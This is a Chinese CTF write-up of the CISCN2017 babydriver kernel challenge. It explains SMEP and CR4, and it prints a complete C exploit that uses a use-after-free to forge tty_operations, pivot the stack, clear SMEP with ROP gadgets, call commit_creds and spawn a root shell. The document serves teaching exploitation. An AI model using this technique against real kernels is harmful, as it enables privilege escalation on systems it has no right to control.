zoukankan      html  css  js  c++  java
  • Linux kernel pwn (四): Bypass SMEP

    前言

    在我的这一篇博文介绍UAF的时候用到的是babydriver那一道题,那篇博文介绍的利用手法是修改cred从而get到root权限。但是除了这一种手法以外,我们还有另外一种手法:绕过SMEP保护,然后利用ROP。

    前置知识

    SMEP

    smep的全称是Supervisor Mode Execution Protection,它是内核的一种保护机制,作用是当CPU处于ring0模式的时候,如果执行了用户空间的代码就会触发页错误,很明现这个保护机制就是为了防止ret2usr攻击的。
    一般遇到内核pwn的时候,可以查看我们的启动文件有没有开启我们的SMEP保护:

    linux_one@linux-one-PC:~/baby$ grep smep ./boot.sh
    qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234
    

    smep 和 CR4 寄存器

    系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。

    例如,当

    $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
    

    时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要

    mov cr4, 0x1407e0
    # 0x1407e0 = 101 0 0000 0011 1111 00000
    

    即可关闭 smep 保护。

    ptmx && tty_struct && tty_operations

    ptmx设备是tty设备的一种,当使用open函数打开时,通过系统调用进入内核,创建新的文件结构体,并执行驱动设备自实现的open函数。
    具体细节可以参考: https://blog.csdn.net/liushuimpc/article/details/51610941
    当一个用户对这个tty驱动被分配的设备节点调用open时tty核心使用一个指向分配给这个设备的tty_struct结构的指针调用它,也就是说我们在调用了open函数了之后会创建一个tty_struct结构体,然而最关键的是这个tty_struct也是通过kmalloc申请出来的一个堆空间,而kmalloc与UAF这篇博文讲的slab/slub分配器有关。也就是说,这个tty_struct可以被我们所控制。
    下面是关于tty_struct结构体的一部分源码:

    // Linux-4.19.65-source/include/linux/tty.h
    
    /*
     * Where all of the state associated with a tty is kept while the tty
     * is open.  Since the termios state should be kept even if the tty
     * has been closed --- for things like the baud rate, etc --- it is
     * not stored here, but rather a pointer to the real state is stored
     * here.  Possible the winsize structure should have the same
     * treatment, but (1) the default 80x24 is usually right and (2) it's
     * most often used by a windowing system, which will set the correct
     * size each time the window is created or resized anyway.
     * 						- TYT, 9/14/92
     */
    
    struct tty_operations;
    
    struct tty_struct {
    	int	magic;
    	struct kref kref;
    	struct device *dev;
    	struct tty_driver *driver;
    	const struct tty_operations *ops;
    	int index;
    
    	/* Protects ldisc changes: Lock tty not pty */
    	struct ld_semaphore ldisc_sem;
    	struct tty_ldisc *ldisc;
    
    	struct mutex atomic_write_lock;
    	struct mutex legacy_mutex;
    	struct mutex throttle_mutex;
    	struct rw_semaphore termios_rwsem;
    	struct mutex winsize_mutex;
    	spinlock_t ctrl_lock;
    	spinlock_t flow_lock;
    	/* Termios values are protected by the termios rwsem */
    	struct ktermios termios, termios_locked;
    	struct termiox *termiox;	/* May be NULL for unsupported */
    	char name[64];
    	struct pid *pgrp;		/* Protected by ctrl lock */
    	struct pid *session;
    	unsigned long flags;
    	int count;
    	struct winsize winsize;		/* winsize_mutex */
    	unsigned long stopped:1,	/* flow_lock */
    		      flow_stopped:1,
    		      unused:BITS_PER_LONG - 2;
    	int hw_stopped;
    	unsigned long ctrl_status:8,	/* ctrl_lock */
    		      packet:1,
    		      unused_ctrl:BITS_PER_LONG - 9;
    	unsigned int receive_room;	/* Bytes free for queue */
    	int flow_change;
    
    	struct tty_struct *link;
    	struct fasync_struct *fasync;
    	wait_queue_head_t write_wait;
    	wait_queue_head_t read_wait;
    	struct work_struct hangup_work;
    	void *disc_data;
    	void *driver_data;
    	spinlock_t files_lock;		/* protects tty_files list */
    	struct list_head tty_files;
    
    #define N_TTY_BUF_SIZE 4096
    
    	int closing;
    	unsigned char *write_buf;
    	int write_cnt;
    	/* If the tty has a pending do_SAK, queue it here - akpm */
    	struct work_struct SAK_work;
    	struct tty_port *port;
    } __randomize_layout;
    

    而在这个结构体中,其中有另一个很有趣的结构体 tty_operations,源码如下:

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;
    

    可以看到,里面全是函数指针。
    由于tty_struct是通过kzmalloc分配堆内存的,那么也可以通过UAF控制到这个结构体,进而伪造tty_operations结构体,劫持函数调用:

    fake_tty_struct  fake_tty_operations
    +---------+      +----------+
    |magic    |  +-->|evil 1    |
    +---------+  |   +----------+
    |......   |  |   |evil 2    |
    |......   |  |   +----------+
    +---------+  |   |evil 3    |
    |*ops     |--+   +----------+
    +---------+      |evil 4    |
    |......   |      +----------+
    |......   |      |......    |
    +---------+      +----------+
    

    那么我们就可以通过不同的操作(如 write, ioctl 等)来跳转到不同的 evil 了。

    利用思路

    因为此题没有开kaslr保护,所以简化了我们一些步骤,但是在此方法中是我们前面的UAF,ROP和ret2usr的综合利用,下面是基本思路:

    1. 利用UAF漏洞,去控制利用tty_struct结构体的空间,修改真实的tty_operations的地址到我们构造的tty_operations;
    2. 构造一个tty_operations,修改其中的write函数为我们的rop;
    3. 利用修改的write函数来劫持程序流;

    但是其中需要解决的一个问题是,我们并没有控制到栈,所以在rop的时候需要想办法进行栈转移。
    这里引用师兄的一个做法:
    用如下代码作测试,将tty_struct->tty_fops->write函数的指针改写为babyread的地址,最后通过write(fd_tty, *, *)来调用到babyread。

    //gcc -static -masm=intel -g -o exp2 exp2.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stropts.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    
    size_t fake_tty_operations[0x20] = {0};
    size_t fake_tty_struct[4] = {0};
    
    int main(){
        
        int fd1 = open("/dev/babydev", 2);
        int fd2 = open("/dev/babydev", 2);
    
        // change the babydev_struct.device_buf
        // the buf_size = sizeof(struct tty_struct)
        ioctl(fd1, 0x10001, 0x2e0);
    
        // call babyrelease(), now we have a dangling pointer in fd2
        close(fd1);
        int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
        
        read(fd2, fake_tty_struct, 0x18);
        for(int i=0; i<0x20; i++) fake_tty_operations[i] = 0xffffffffffff0000+i ;
        fake_tty_operations[7] = 0xffffffffc0000130; // tty_fops->write = babyread
        fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
        write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
        write(fd_tty, fake_tty_operations, 0x20); // call tty_fops->write
    
    }
    
    /*
    babydriver.ko 0xffffffffc0000000
    
    */
    

    gdb调试,在我们的babyread函数下断点,在第二次调用时停下查看此时的寄存器情况;发现这时候的RAX是我们的fake_tty_operations结构的地址,

    然后通过栈回溯,发现函数的跳转是通过RAX作为基地址加上偏移所得到的:[rax+offset]


    所以,我们可以利用 mov rsp, rax等gadget等gadget将栈迁移到fake_tty_operations这里,然后继续执行我们构造好的ROP。

    gadget的提取

    构造ROP链就需要gadget。这里的题目没有给到vmlinux,所以我们需要自己利用extract-vmlinux 提取:

    ./extract-vmlinux.sh ./bzImage > ./vmlinux
    

    然后利用ropper或者ROPgadget这个东西去提取我们需要的gadget:

    ropper -f ./vmlinux > ./gadget  或者 ROPgadget --binary ./vmlinux > gadget.txt
    cat ./gadget.txt | grep "mov cr4"
    

    最终EXP

    //CISCN2017-babydriver
    //sunxiaokong
    //gcc -static -masm=intel -g -o exp2 exp2.c
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stropts.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    
    void get_usr_regs();
    int get_kernel_addr();
    void root();
    void getshell();
    
    size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
    size_t fake_tty_operations[0x20];
    size_t fake_tty_struct[4];
    size_t rop_chain[20];
    size_t commit_creds;
    size_t prepare_kernel_cred;
    
    int main(){
        get_usr_regs();
        get_kernel_addr();
    
        int fd1 = open("/dev/babydev", 2);
        int fd2 = open("/dev/babydev", 2);
    
        // change the babydev_struct.device_buf
        // the buf_size = sizeof(struct tty_struct)
        ioctl(fd1, 0x10001, 0x2e0);
    
        // call babyrelease(), now we have a dangling pointer in fd2
        close(fd1);
        int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
        
        read(fd2, fake_tty_struct, 0x40);
        fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
        for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;;
        fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
        // fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret
        fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret
        fake_tty_operations[1] = (size_t)rop_chain;
        fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
        fake_tty_operations[3] = (size_t)rop_chain;
        
        int i = 0;
        rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret
        rop_chain[i++] = 0x6f0;              // SMEP = 0
        rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret
        rop_chain[i++] = (size_t)rop_chain;
        rop_chain[i++] = (size_t)root;
        rop_chain[i++] = 0xffffffff81063694;      // swapgs; pop rbp; ret;
        rop_chain[i++] = 0;
        rop_chain[i++] = 0xffffffff814e35ef;      // iretq; ret;
        rop_chain[i++] = (size_t)getshell;
        rop_chain[i++] = usr_cs;                /* saved CS */
        rop_chain[i++] = usr_rflags;            /* saved EFLAGS */
        rop_chain[i++] = usr_rsp;
        rop_chain[i++] = usr_ss;
        write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
        char buf[8] = {0};
        write(fd_tty, buf, 8); // call tty_fops->write
       
    }
    
    /* save some regs of user mode */
    void get_usr_regs(){
        __asm__(
            "mov usr_cs, cs;"
            "mov usr_ss, ss;"
            "mov usr_rsp, rsp;"
            "pushfq;"
            "pop usr_rflags;"
        );
        printf("[^.^] save regs of user mode, done !!!
    ");
    }
    
    int get_kernel_addr(){
        char *buf = (char *)malloc(0x50);
        FILE *kallsyms = fopen("/proc/kallsyms", "r");
    
        while(fgets(buf, 0x50, kallsyms)){
            // fgets:read one line at one time
            if(strstr(buf, "prepare_kernel_cred")){
                sscanf(buf, "%lx", &prepare_kernel_cred);
                printf("[^.^] prepare_kernel_cred : 0x%lx
    ", prepare_kernel_cred);
            }
    
            if(strstr(buf, "commit_creds")){
                sscanf(buf, "%lx", &commit_creds);
                printf("[^.^] commit_creds : 0x%lx
    ", commit_creds);
            }
    
            if(commit_creds && prepare_kernel_cred){
                return 0;
            }
        }
    }
    
    void root(){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
    
    void getshell(){
        system("/bin/sh");
    }
    
    /*
    babydriver.ko 0xffffffffc0000000
    
    0xffffffff814dc0c3 : call [rax+offset]
    
    0xffffffff810539b1 : pop rax ; xchg eax, esp ; retf
    retf = pop rip; pop cs
    
    0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
    
    0xffffffff810d238d : pop rdi ; ret
    
    0xffffffff8100ce6e : pop rax ; ret
    
    0xffffffff81171045 : pop rsp ; ret
    
    0xffffffff81020f11 : push rax ; ret
    
    0xffffffff8181bfc5   mov rsp,rax ; dec ebx ; ret
    
    0xffffffff817a4aba : push rax ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
    
    0xffffffff814ff52b : push rax ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
    
    */
    

    参考

    https://www.sunxiaokong.xyz/2020-02-14/lzx-bypass-babysmep/
    https://bbs.pediy.com/thread-253455.htm
    http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/

  • 相关阅读:
    Codeforces Round #419 (Div. 2)
    论蒟蒻的自我修养
    12 day 1
    Balanced Teams (USACO Jan Bronze 2014)
    一个奇怪的绘图程序
    BZOJ 1002 [ FJOI 2007 ]
    BZOJ 3540 realtime-update 解题
    准备做的题目
    代码风格与树形DP
    CH round #55 Streaming #6
  • 原文地址:https://www.cnblogs.com/T1e9u/p/13843671.html
Copyright © 2011-2022 走看看